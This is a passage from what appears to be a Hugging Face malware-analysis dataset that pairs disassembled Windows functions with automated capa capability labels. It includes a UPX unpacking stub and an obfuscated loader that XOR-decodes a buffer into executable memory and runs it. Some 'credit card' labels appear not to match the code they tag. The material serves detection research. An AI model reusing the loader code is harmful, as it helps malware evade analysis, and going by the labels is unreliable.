joyce8/EMBER2024-capa huggingface dataset:
Function at 0x81d280
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x276000]
mov dword [edi + 0x2cd47c], 0x572d1feb
push edi
jmp 0x81d2aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x81d2b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x81d2a0
mov eax, 1
add ebx, ebx
jne 0x81d2c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x81d2d4
jne 0x81d2f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x81d2f3
dec eax
add ebx, ebx
jne 0x81d2e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x81d2b8
add ebx, ebx
jne 0x81d2ef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x81d345
xor ecx, ecx
sub eax, 3
jb 0x81d30b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x81d37a
sar eax, 1
mov ebp, eax
jmp 0x81d316
add ebx, ebx
jne 0x81d316
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x81d2e4
inc ecx
add ebx, ebx
jne 0x81d324
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x81d2e4
add ebx, ebx
jne 0x81d331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x81d326
jne 0x81d342
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x81d326
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x81d364
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x81d356
jmp 0x81d2a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x81d364
add edi, ecx
jmp 0x81d2a6
pop esi
mov edi, esi
mov ecx, 0xef8c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x81d382
cmp byte [edi], 0x26
jne 0x81d382
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x81d387
lea edi, [esi + 0x40c000]
mov eax, dword [edi]
or eax, eax
je 0x81d3ff
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4b6824]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4b69f8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x81d3b4
mov ecx, edi
jns 0x81d3e3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4b6a00]
or eax, eax
je 0x81d3f9
mov dword [ebx], eax
add ebx, 4
jmp 0x81d3d1
call dword [esi + 0x4b69fc]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x81d430
cmp al, 0xef
ja 0x81d423
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x81d405
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x81d412
mov ebp, dword [esi + 0x4b6a04]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x26f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x81d464
sub esp, 0xffffff80
jmp 0x5c9f5a
Function at 0x7002e77
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x701a85c]
jne 0x7002e81
repz ret
jmp fcn.0700f55f

Function at 0x70038fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x700390c
pop dword [ebp - 0x48]
mov eax, 0x700390c
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x75368802
sub dword [ebp - 0x58], 0x26e442b7
mov dword [ebp - 0x54], 0x222f8dc8
add dword [ebp - 0x54], 0x1003be7d
mov dword [ebp - 0x50], 0x106ed927
sub dword [ebp - 0x50], 0xc42294f9
mov dword [ebp - 0x4c], 0xef092854
add dword [ebp - 0x4c], 0x10f6d7ac
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xf212ff05
sub dword [ebp - 0x58], 0x7da095af
mov dword [ebp - 0x54], 0x1b49f7cd
sub dword [ebp - 0x54], 0xd9dd9658
mov dword [ebp - 0x50], 0x42cb0b56
add dword [ebp - 0x50], 0x20a46116
mov dword [ebp - 0x4c], 0x58baf102
add dword [ebp - 0x4c], 0xa7450efe
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xba7c49f4
add eax, 0x4c84d634
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3db34
push 0
call eax
mov ecx, 0xa1ecc8dc
sub ecx, 0xa1ec74d4
mov edi, eax
mov ebx, 0x2459eef5
add ebx, 0xe2a7f10b
add ebx, dword [ebp - 0x48]
mov esi, 0x7ea479b2
mov dword [ebp - 4], 0xbf2175c3
mov edx, dword [ebx]
add dword [ebp - 0x40], eax
xor edx, esi
add dword [ebp - 0x18], 0xde073b56
mov dword [edi], edx
sub dword [ebp - 0x28], ebx
add edi, 0x7a7504ef
sub edi, 0x7a7504eb
add ebx, 0x58b2b958
sub ebx, 0x58b2b954
loop 0x7003a1e
add eax, 0x7de16e65
add eax, 0x821fd48e
xor ebx, ebx
add ebx, eax
add eax, 0x8abc7c39
sub eax, 0x8abc7c34
mov ecx, 0x89ac3f88
add ecx, 0x7d53c078
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x700d408
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700d476
cmp byte [esi + 0x10], 0
je 0x700d427
push eax
call dword [sym.imp.MSVCR100.dll_fflush]
pop ecx
mov byte [esi + 0x10], 0
push edi
push dword [esi + 0xc]
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fread]
push dword [esi + 0xc]
mov edi, eax
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700d464
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_feof]
pop ecx
test eax, eax
jne 0x700d464
push str.stream_read_error
push eax
call fcn.070038fd
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_ftell]
pop ecx
mov dword [esi + 8], eax
mov eax, edi
pop edi
jmp 0x700d478
xor eax, eax
pop esi
pop ebp
ret 8
Function at 0x700d940
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov eax, dword [esi + 4]
cmp byte [eax + 8], 0
je 0x700d95b
push str.Attempt_to_write_read_only_stream
push 0
call fcn.070038fd
mov eax, dword [esi + 0xc]
test eax, eax
je 0x700d999
push eax
push dword [ebp + 0xc]
push 1
push dword [ebp + 8]
call dword [sym.imp.MSVCR100.dll_fwrite]
push dword [esi + 0xc]
mov byte [esi + 0x10], 1
call dword [sym.imp.MSVCR100.dll_ferror]
add esp, 0x14
test eax, eax
je 0x700d98c
push 0x7013b70
jmp 0x700d954
push dword [esi + 0xc]
call dword [sym.imp.MSVCR100.dll_ftell]
pop ecx
mov dword [esi + 8], eax
pop esi
pop ebp
ret 8

Function at 0x700dbc5
Capabilities:
Set current directory

Disassembly:
push 4
mov eax, 0x7010ec2
call fcn.07001aa5
mov esi, ecx
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 8]
push edi
call fcn.0700da5a
and dword [esi + 0xc], 0
and dword [ebp - 4], 0
mov dword [esi], vtable.FileSharedStream.0
mov byte [esi + 0x10], 0
mov eax, dword [edi + 0x14]
mov dword [esi + 0x14], eax
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.0700d99e
lea ecx, [ebp + 8]
call fcn.0700d6a0
mov eax, dword [esi + 0x14]
push dword [eax + 0x14]
mov edi, dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov byte [ebp - 4], 2
call edi
mov eax, dword [esi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700dc35
mov eax, dword [eax + 0x14]
jmp 0x700dc3a
mov eax, 0x7012365
push 0x7013bb4
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
pop ecx
pop ecx
mov dword [esi + 0xc], eax
test eax, eax
jne 0x700dc5a
push 0x7013ba0
push eax
call fcn.070038fd
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 4]
push dword [ebp + 8]
mov dword [esi + 8], eax
mov byte [ebp - 4], 1
call edi
push dword [ebp + 8]
mov ecx, 0x701a480
call fcn.070038fd
mov eax, esi
call fcn.07002d5f
ret 4

Function at 0x401a86
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401ac5
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401ac5
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401ac5
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401ac5
cmp dword [ecx + 0x74], 0xe
jbe 0x401ac5
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40a3f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push ebp
push esi
push edi
mov ecx, 0x473a68
xor ebx, ebx
mov eax, dword [ecx]
cmp eax, ebx
je 0x40a52a
cmp dword [eax], ebx
je 0x40a40e
add ecx, 4
jmp 0x40a3fb
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x18]
mov ecx, esi
mov edi, dword [edx + 4]
add ecx, edi
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x20], ecx
mov ecx, edi
fild dword [esp + 0x20]
fstp qword [eax + 8]
add ecx, dword [edx + 8]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x14]
fild dword [esp + 0x20]
fstp qword [eax + 0x10]
mov ebp, dword [ecx]
mov dword [eax + 0x18], ebp
mov ebp, dword [ecx + 4]
mov dword [eax + 0x1c], ebp
mov ebp, dword [ecx + 0x10]
mov dword [eax + 0x48], ebp
mov ebp, dword [ecx + 8]
mov dword [eax + 0x40], ebp
mov ebp, dword [ecx + 0xc]
mov dword [eax + 0x44], ebp
mov ebp, dword [ecx + 0x14]
mov dword [eax + 0x4c], ebp
mov dword [eax + 0x50], ebx
mov ebp, dword [ecx + 0x30]
mov dword [eax + 0x38], ebx
mov dword [eax + 0x30], ebp
mov dword [eax + 0x3c], ebx
mov ebp, dword [ecx + 0x18]
mov dword [eax + 0x58], ebp
mov ebp, dword [ecx + 0x1c]
mov dword [eax + 0x5c], ebp
mov ebp, dword [ecx + 0x20]
mov dword [eax + 0x60], ebp
mov ebp, dword [ecx + 0x24]
mov dword [eax + 0x64], ebp
mov ebp, 1
mov dword [eax + 0x68], ebp
mov dword [eax + 0x6c], ebp
mov dword [eax], 3
mov bp, word [ecx + 0x28]
mov word [eax + 0x7c], bp
cmp byte [0x4c1fac], bl
mov ecx, dword [ecx + 0x2c]
je 0x40a4b0
shl ecx, 1
mov dword [eax + 0x78], ecx
mov cx, word [eax + 0x7c]
cmp cx, 3
mov dword [eax + 0x80], edx
mov dword [eax + 0x70], esi
mov dword [eax + 0x74], edi
mov word [eax + 0x84], bx
mov word [eax + 0x86], bx
jne 0x40a4e6
mov dword [eax + 0x38], ebx
mov dword [eax + 0x3c], 0x40200000
pop edi
pop esi
pop ebp
pop ebx
ret
cmp cx, 0xa
jne 0x40a4fb
mov dword [eax + 0x38], ebx
mov dword [eax + 0x3c], 0x40200000
pop edi
pop esi
pop ebp
pop ebx
ret
cmp cx, 4
jne 0x40a516
add esi, dword [edx + 4]
mov dword [eax + 0x70], esi
mov edx, dword [edx + 8]
lea ecx, [edi + edx + 0x14]
mov dword [eax + 0x74], ecx
pop edi
pop esi
pop ebp
pop ebx
ret
cmp cx, 5
jne 0x40a52a
add esi, dword [edx + 4]
mov dword [eax + 0x70], esi
mov ecx, dword [edx + 8]
add edi, ecx
mov dword [eax + 0x74], edi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40aee0
Capabilities:
Parse credit card information

Disassembly:
mov eax, dword [esp + 0xc]
cmp byte [eax], 0
je 0x40b04c
push edi
mov edi, dword [esp + 8]
push esi
push ebp
push ebx
mov ebx, dword [esp + 0x18]
mov ebp, eax
mov al, byte [ebp]
cmp al, 0x41
jl 0x40af0d
cmp al, 0x5a
jg 0x40af0d
add al, 0xbf
jmp 0x40afda
cmp al, 0x61
jl 0x40af1c
cmp al, 0x7a
jg 0x40af1c
add al, 0x9f
jmp 0x40afda
cmp al, 0x31
jl 0x40af2b
cmp al, 0x39
jg 0x40af2b
add al, 0xe9
jmp 0x40afda
cmp al, 0x30
jne 0x40af36
mov al, 0x23
jmp 0x40afda
cmp al, 0x25
jne 0x40af41
mov al, 0x24
jmp 0x40afda
cmp al, 0x3a
jne 0x40af4c
mov al, 0x25
jmp 0x40afda
cmp al, 0x28
jne 0x40af57
mov al, 0x26
jmp 0x40afda
cmp al, 0x29
jne 0x40af5f
mov al, 0x27
jmp 0x40afda
cmp al, 0x5c
jne 0x40af67
mov al, 0x28
jmp 0x40afda
cmp al, 0x2f
jne 0x40af6f
mov al, 0x29
jmp 0x40afda
cmp al, 0x2e
jne 0x40af77
mov al, 0x2a
jmp 0x40afda
cmp al, 0x2c
jne 0x40af7f
mov al, 0x2b
jmp 0x40afda
cmp al, 0x27
jne 0x40af87
mov al, 0x2c
jmp 0x40afda
cmp al, 0x3b
jne 0x40af8f
mov al, 0x2d
jmp 0x40afda
cmp al, 0x3d
jne 0x40af97
mov al, 0x2e
jmp 0x40afda
cmp al, 0x2d
jne 0x40af9f
mov al, 0x2f
jmp 0x40afda
cmp al, 0x60
jne 0x40afa7
mov al, 0x30
jmp 0x40afda
cmp al, 0x2b
jne 0x40afaf
mov al, 0x31
jmp 0x40afda
cmp al, 0x5b
jne 0x40afb7
mov al, 0x32
jmp 0x40afda
cmp al, 0x5d
jne 0x40afbf
mov al, 0x33
jmp 0x40afda
cmp al, 0x2a
jne 0x40afc7
mov al, 0x34
jmp 0x40afda
cmp al, 0x21
jne 0x40afcf
mov al, 0x35
jmp 0x40afda
cmp al, 0x3f
setne al
dec eax
and al, 0xd3
add eax, 0x63
cmp al, 0x63
je 0x40b039
mov ecx, dword [0x4c1fc8]
mov edx, dword [0x4c1fc4]
movsx esi, al
shl esi, 2
push ecx
mov ecx, 0x2cc
mov eax, dword [esi + str._r_f_r_f_v_n_f_f]
push 1
sub ecx, eax
push edx
mov edx, dword [esi + 0x431510]
push ecx
mov ecx, dword [0x4cb05c]
add edx, ecx
mov ecx, 0x140
push edx
mov edx, dword [0x4895c4]
sub ecx, eax
push ecx
push edx
push 0xe
push eax
push ebx
push edi
call fcn.0041cc70
mov eax, dword [esi + str._r_f_r_f_v_n_f_f]
add esp, 0x2c
lea edi, [edi + eax - 1]
jmp 0x40b03c
add edi, 7
mov al, byte [ebp + 1]
inc ebp
test al, al
jne 0x40aefb
pop ebx
pop ebp
pop esi
pop edi
ret
Function at 0x40b050
Capabilities:
Parse credit card information

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
mov cl, byte [edx]
test cl, cl
je 0x40b184
cmp cl, 0x41
jl 0x40b072
cmp cl, 0x5a
jg 0x40b072
add cl, 0xbf
jmp 0x40b160
cmp cl, 0x61
jl 0x40b084
cmp cl, 0x7a
jg 0x40b084
add cl, 0x9f
jmp 0x40b160
cmp cl, 0x31
jl 0x40b096
cmp cl, 0x39
jg 0x40b096
add cl, 0xe9
jmp 0x40b160
cmp cl, 0x30
jne 0x40b0a2
mov cl, 0x23
jmp 0x40b160
cmp cl, 0x25
jne 0x40b0ae
mov cl, 0x24
jmp 0x40b160
cmp cl, 0x3a
jne 0x40b0ba
mov cl, 0x25
jmp 0x40b160
cmp cl, 0x28
jne 0x40b0c6
mov cl, 0x26
jmp 0x40b160
cmp cl, 0x29
jne 0x40b0d2
mov cl, 0x27
jmp 0x40b160
cmp cl, 0x5c
jne 0x40b0de
mov cl, 0x28
jmp 0x40b160
cmp cl, 0x2f
jne 0x40b0e7
mov cl, 0x29
jmp 0x40b160
cmp cl, 0x2e
jne 0x40b0f0
mov cl, 0x2a
jmp 0x40b160
cmp cl, 0x2c
jne 0x40b0f9
mov cl, 0x2b
jmp 0x40b160
cmp cl, 0x27
jne 0x40b102
mov cl, 0x2c
jmp 0x40b160
cmp cl, 0x3b
jne 0x40b10b
mov cl, 0x2d
jmp 0x40b160
cmp cl, 0x3d
jne 0x40b114
mov cl, 0x2e
jmp 0x40b160
cmp cl, 0x2d
jne 0x40b11d
mov cl, 0x2f
jmp 0x40b160
cmp cl, 0x60
jne 0x40b126
mov cl, 0x30
jmp 0x40b160
cmp cl, 0x2b
jne 0x40b12f
mov cl, 0x31
jmp 0x40b160
cmp cl, 0x5b
jne 0x40b138
mov cl, 0x32
jmp 0x40b160
cmp cl, 0x5d
jne 0x40b141
mov cl, 0x33
jmp 0x40b160
cmp cl, 0x2a
jne 0x40b14a
mov cl, 0x34
jmp 0x40b160
cmp cl, 0x21
jne 0x40b153
mov cl, 0x35
jmp 0x40b160
cmp cl, 0x3f
setne cl
dec ecx
and ecx, 0xffffffd3
add ecx, 0x63
cmp cl, 0x63
je 0x40b175
movsx ecx, cl
mov ecx, dword [ecx*4 + str._r_f_r_f_v_n_f_f]
lea eax, [eax + ecx - 1]
jmp 0x40b178
add eax, 7
mov cl, byte [edx + 1]
inc edx
test cl, cl
jne 0x40b060
ret

Function at 0x40f950
Capabilities:
Check for time delay via gettickcount

Disassembly:
mov eax, dword [0x4c265c]
mov edx, dword [0x4c26b0]
push esi
push edi
mov ecx, dword [eax]
push 0
push 0x1000000
push 0x4c26c0
push edx
push 0x4c24b0
push eax
call dword [ecx + 0x14]
fld qword [0x4c6720]
fcomp qword [0x42f3c8]
fnstsw ax
test ah, 0x41
jne 0x40f9b0
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov edx, dword [0x4c1f90]
mov edi, eax
fld qword [0x4c6720]
sub edi, edx
call fcn.00426390
cmp edi, eax
jbe 0x40f98e
call esi
mov dword [0x4c1f90], eax
mov eax, dword [0x4c27b0]
push 0
push 0
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
test eax, eax
je 0x40f9e0
cmp eax, 0x887601c2
jne 0x40f9d9
mov eax, dword [0x4c27b0]
push eax
mov edx, dword [eax]
call dword [edx + 0x6c]
test eax, eax
jne 0x40f9e0
cmp eax, 0x8876021c
je 0x40f9b0
fld qword [0x4c1f88]
fsub qword [0x42f3d0]
pop edi
pop esi
fstp qword [0x4c1f88]
ret
Function at 0x414dd0
Capabilities:
Parse credit card information

Disassembly:
mov eax, dword [esp + 0xc]
cmp byte [eax], 0
je 0x414f1d
push edi
mov edi, dword [esp + 8]
push esi
push ebp
push ebx
mov ebx, dword [esp + 0x18]
mov ebp, eax
mov al, byte [ebp]
cmp al, 0x41
jl 0x414dfd
cmp al, 0x5a
jg 0x414dfd
add al, 0xbf
jmp 0x414eb2
cmp al, 0x61
jl 0x414e0c
cmp al, 0x7a
jg 0x414e0c
add al, 0x9f
jmp 0x414eb2
cmp al, 0x31
jl 0x414e1b
cmp al, 0x39
jg 0x414e1b
add al, 0xe9
jmp 0x414eb2
cmp al, 0x30
jne 0x414e26
mov al, 0x23
jmp 0x414eb2
cmp al, 0x25
jne 0x414e31
mov al, 0x24
jmp 0x414eb2
cmp al, 0x3a
jne 0x414e39
mov al, 0x25
jmp 0x414eb2
cmp al, 0x2d
jne 0x414e41
mov al, 0x30
jmp 0x414eb2
cmp al, 0x28
jne 0x414e49
mov al, 0x27
jmp 0x414eb2
cmp al, 0x29
jne 0x414e51
mov al, 0x28
jmp 0x414eb2
cmp al, 0x2f
jne 0x414e59
mov al, 0x2a
jmp 0x414eb2
cmp al, 0x5c
jne 0x414e61
mov al, 0x29
jmp 0x414eb2
cmp al, 0x2e
jne 0x414e69
mov al, 0x2b
jmp 0x414eb2
cmp al, 0x2c
jne 0x414e6f
jmp 0x414eb2
cmp al, 0x27
jne 0x414e77
mov al, 0x2d
jmp 0x414eb2
cmp al, 0x3b
jne 0x414e7f
mov al, 0x2e
jmp 0x414eb2
cmp al, 0x3d
jne 0x414e87
mov al, 0x2f
jmp 0x414eb2
cmp al, 0x60
jne 0x414e8f
mov al, 0x31
jmp 0x414eb2
cmp al, 0x2b
jne 0x414e97
mov al, 0x32
jmp 0x414eb2
cmp al, 0x5b
jne 0x414e9f
mov al, 0x33
jmp 0x414eb2
cmp al, 0x5d
jne 0x414ea7
mov al, 0x34
jmp 0x414eb2
cmp al, 0x2a
setne al
dec eax
and al, 0xd2
add eax, 0x63
cmp al, 0x63
je 0x414f0a
movsx esi, al
shl esi, 2
mov ecx, 0x19a
mov eax, dword [esi + str._v_n_v_n_t_b_n_n]
mov edx, dword [esi + 0x48c2d0]
sub ecx, eax
push ecx
mov ecx, dword [0x4c3848]
add edx, ecx
mov ecx, 0x140
push edx
sub ecx, eax
lea edx, [ebx + ebx*4]
push ecx
mov ecx, dword [0x4c37cc]
shl edx, 6
add edx, ecx
push edx
push 0xc
push eax
push 0
push edi
call fcn.0041cee0
mov eax, dword [esi + str._v_n_v_n_t_b_n_n]
add esp, 0x20
lea edi, [edi + eax + 1]
jmp 0x414f0d
add edi, 7
mov al, byte [ebp + 1]
inc ebp
test al, al
jne 0x414deb
pop ebx
pop ebp
pop esi
pop edi
ret
Function at 0x414f20
Capabilities:
Parse credit card information

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
mov cl, byte [edx]
test cl, cl
je 0x41503a
cmp cl, 0x41
jl 0x414f42
cmp cl, 0x5a
jg 0x414f42
add cl, 0xbf
jmp 0x415016
cmp cl, 0x61
jl 0x414f54
cmp cl, 0x7a
jg 0x414f54
add cl, 0x9f
jmp 0x415016
cmp cl, 0x31
jl 0x414f66
cmp cl, 0x39
jg 0x414f66
add cl, 0xe9
jmp 0x415016
cmp cl, 0x30
jne 0x414f72
mov cl, 0x23
jmp 0x415016
cmp cl, 0x25
jne 0x414f7e
mov cl, 0x24
jmp 0x415016
cmp cl, 0x3a
jne 0x414f8a
mov cl, 0x25
jmp 0x415016
cmp cl, 0x2d
jne 0x414f96
mov cl, 0x30
jmp 0x415016
cmp cl, 0x28
jne 0x414f9f
mov cl, 0x27
jmp 0x415016
cmp cl, 0x29
jne 0x414fa8
mov cl, 0x28
jmp 0x415016
cmp cl, 0x2f
jne 0x414fb1
mov cl, 0x2a
jmp 0x415016
cmp cl, 0x5c
jne 0x414fba
mov cl, 0x29
jmp 0x415016
cmp cl, 0x2e
jne 0x414fc3
mov cl, 0x2b
jmp 0x415016
cmp cl, 0x2c
jne 0x414fca
jmp 0x415016
cmp cl, 0x27
jne 0x414fd3
mov cl, 0x2d
jmp 0x415016
cmp cl, 0x3b
jne 0x414fdc
mov cl, 0x2e
jmp 0x415016
cmp cl, 0x3d
jne 0x414fe5
mov cl, 0x2f
jmp 0x415016
cmp cl, 0x60
jne 0x414fee
mov cl, 0x31
jmp 0x415016
cmp cl, 0x2b
jne 0x414ff7
mov cl, 0x32
jmp 0x415016
cmp cl, 0x5b
jne 0x415000
mov cl, 0x33
jmp 0x415016
cmp cl, 0x5d
jne 0x415009
mov cl, 0x34
jmp 0x415016
cmp cl, 0x2a
setne cl
dec ecx
and ecx, 0xffffffd2
add ecx, 0x63
cmp cl, 0x63
je 0x41502b
movsx ecx, cl
mov ecx, dword [ecx*4 + str._v_n_v_n_t_b_n_n]
lea eax, [eax + ecx + 1]
jmp 0x41502e
add eax, 7
mov cl, byte [edx + 1]
inc edx
test cl, cl
jne 0x414f30
ret
Function at 0x415040
Capabilities:
Parse credit card information
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
mov cl, byte [eax]
mov dword [esp + 4], edi
test cl, cl
je 0x4151e5
mov ecx, eax
mov eax, dword [esp + 0x10]
push esi
push ebp
mov ebp, dword [esp + 0x20]
push ebx
lea ebx, [eax + eax*4]
mov eax, dword [esp + 0x28]
shl ebx, 6
mov dword [esp + 0x20], ecx
add ebx, eax
mov al, byte [ecx]
cmp al, 0xa
jne 0x41508a
mov edi, dword [esp + 0x10]
add ebx, 0xc80
jmp 0x4151d2
cmp al, 0x41
jb 0x415099
cmp al, 0x5a
ja 0x415099
add al, 0xbf
jmp 0x41517c
cmp al, 0x61
jb 0x4150a8
cmp al, 0x7a
ja 0x4150a8
add al, 0xb9
jmp 0x41517c
cmp al, 0x30
jb 0x4150b7
cmp al, 0x39
ja 0x4150b7
add al, 4
jmp 0x41517c
cmp al, 0xe0
jne 0x4150c2
mov al, 0x3e
jmp 0x41517c
cmp al, 0xe8
jne 0x4150cd
mov al, 0x3f
jmp 0x41517c
cmp al, 0xec
jne 0x4150d8
mov al, 0x40
jmp 0x41517c
cmp al, 0xf2
jne 0x4150e3
mov al, 0x41
jmp 0x41517c
cmp al, 0x21
jne 0x4150ee
mov al, 0x42
jmp 0x41517c
cmp al, 0x3f
jne 0x4150f9
mov al, 0x43
jmp 0x41517c
cmp al, 0x2e
jne 0x415101
mov al, 0x44
jmp 0x41517c
cmp al, 0x2c
jne 0x415109
mov al, 0x45
jmp 0x41517c
cmp al, 0x3a
jne 0x415111
mov al, 0x46
jmp 0x41517c
cmp al, 0x2b
jne 0x415119
mov al, 0x47
jmp 0x41517c
cmp al, 0x2d
jne 0x415121
mov al, 0x48
jmp 0x41517c
cmp al, 0x5c
jne 0x415129
mov al, 0x49
jmp 0x41517c
cmp al, 0x2f
jne 0x415131
mov al, 0x4a
jmp 0x41517c
cmp al, 0x27
jne 0x415139
mov al, 0x4b
jmp 0x41517c
cmp al, 0x3b
jne 0x415141
mov al, 0x4c
jmp 0x41517c
cmp al, 0x3d
jne 0x415149
mov al, 0x4d
jmp 0x41517c
cmp al, 0x5b
jne 0x415151
mov al, 0x4e
jmp 0x41517c
cmp al, 0x5d
jne 0x415159
mov al, 0x4f
jmp 0x41517c
cmp al, 0x28
jne 0x415161
mov al, 0x50
jmp 0x41517c
cmp al, 0x29
jne 0x415169
mov al, 0x51
jmp 0x41517c
cmp al, 0x25
jne 0x415171
mov al, 0x52
jmp 0x41517c
cmp al, 0x40
setne al
dec eax
and al, 0xf0
add eax, 0x63
cmp al, 0x63
mov byte [esp + 0x18], al
je 0x4151cf
mov esi, dword [esp + 0x18]
mov ecx, 0x1c4
and esi, 0xff
shl esi, 2
mov eax, dword [esi + 0x48c3a8]
mov edx, dword [esi + 0x48c4f8]
sub ecx, eax
add edx, ebp
push ecx
mov ecx, 0x140
sub ecx, eax
push edx
push ecx
push ebx
push 0xb
push eax
push 0
push edi
call fcn.0041cee0
mov edx, dword [esi + 0x48c3a8]
mov ecx, dword [esp + 0x40]
add esp, 0x20
lea edi, [edi + edx - 1]
jmp 0x4151d2
add edi, 3
mov al, byte [ecx + 1]
inc ecx
test al, al
mov dword [esp + 0x20], ecx
jne 0x415075
pop ebx
pop ebp
pop esi
pop edi
pop ecx
ret
Function at 0x4151f0
Capabilities:
Parse credit card information
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
mov cl, byte [edx]
test cl, cl
je 0x415347
cmp cl, 0x41
jb 0x415212
cmp cl, 0x5a
ja 0x415212
add cl, 0xbf
jmp 0x415318
cmp cl, 0x61
jb 0x415224
cmp cl, 0x7a
ja 0x415224
add cl, 0xb9
jmp 0x415318
cmp cl, 0x30
jb 0x415236
cmp cl, 0x39
ja 0x415236
add cl, 4
jmp 0x415318
cmp cl, 0xe0
jne 0x415242
mov cl, 0x3e
jmp 0x415318
cmp cl, 0xe8
jne 0x41524e
mov cl, 0x3f
jmp 0x415318
cmp cl, 0xec
jne 0x41525a
mov cl, 0x40
jmp 0x415318
cmp cl, 0xf2
jne 0x415266
mov cl, 0x41
jmp 0x415318
cmp cl, 0x21
jne 0x415272
mov cl, 0x42
jmp 0x415318
cmp cl, 0x3f
jne 0x41527e
mov cl, 0x43
jmp 0x415318
cmp cl, 0x2e
jne 0x41528a
mov cl, 0x44
jmp 0x415318
cmp cl, 0x2c
jne 0x415296
mov cl, 0x45
jmp 0x415318
cmp cl, 0x3a
jne 0x41529f
mov cl, 0x46
jmp 0x415318
cmp cl, 0x2b
jne 0x4152a8
mov cl, 0x47
jmp 0x415318
cmp cl, 0x2d
jne 0x4152b1
mov cl, 0x48
jmp 0x415318
cmp cl, 0x5c
jne 0x4152ba
mov cl, 0x49
jmp 0x415318
cmp cl, 0x2f
jne 0x4152c3
